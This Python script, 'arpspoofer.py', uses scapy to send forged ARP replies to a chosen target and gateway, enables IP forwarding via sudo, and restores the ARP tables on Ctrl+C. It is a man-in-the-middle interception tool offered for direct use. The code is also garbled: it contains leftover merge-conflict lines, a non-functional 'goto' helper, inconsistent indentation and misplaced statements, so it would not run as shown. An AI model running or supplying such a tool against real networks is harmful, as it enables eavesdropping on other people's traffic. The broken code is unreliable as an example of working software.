arpspoofer.py

import scapy.all as scapy
import optparse
import time
import subprocess
def goto(linenum):
 global line
 line = linenum
 line = 1
try:
 def arp_request(gateway,target_ip):
    mac_address = get_mac(target_ip)
    packet = scapy.ARP(psrc = gateway,hwdst = mac_address,pdst = target_ip,op = 2)
    scapy.send(packet,verbose = False)
 def get_mac(ip): #get mac address from the network
   request = scapy.ARP(pdst = ip)
   brodcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
   arp_brodcast = brodcast/request
   useful = scapy.srp(arp_brodcast, timeout = 1,verbose = False)[0]
   return useful[0][1].hwsrc
 def get_value(): #takes target ip and gateway as inputs
    parser = optparse.OptionParser()
    parser.add_option("-t","--target",dest = "target_ip",help = "Enter the Target ip")
    parser.add_option("-g","--gateway",dest = "gateway",help = "Enter the gateway")
   option = parser.parse_args()[0]
    return option
 def return_back(destination_ip,source_ip):
    dest_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op = 2, pdst = destination_ip,psrc = source_ip,hwdst = dest_mac,hwsrc = source_mac )
    scapy.send(packet,verbose= False,count = 4)
    subprocess.call("echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward",shell=True)
    subprocess.call("sudo sysctl -p",shell=True)
    option = get_value()
    counter = 0
except IndexError:
   goto(44)
try:
 while True:
patch-1
 try:
    arp_request(option.gateway,option.target_ip)
    arp_request(option.target_ip,option.gateway)
    counter = counter + 2
    print("\rpacket >> " + str(counter),end="") #counts the no. of packets sent
    time.sleep(2)
 except IndexError:
    goto(48)

    try:
       arp_request(option.gateway,option.target_ip)
       arp_request(option.target_ip,option.gateway)
       counter = counter + 2
       print("\rpacket >> " + str(counter),end="")
       time.sleep(2)
    except IndexError:
       goto(48)
 master
except KeyboardInterrupt:
    return_back(option.target_ip,option.gateway)
    return_back(option.gateway,option.target_ip)
print("\nDectected Ctrl + C , Setting everything back to normal , Quitting .. . ")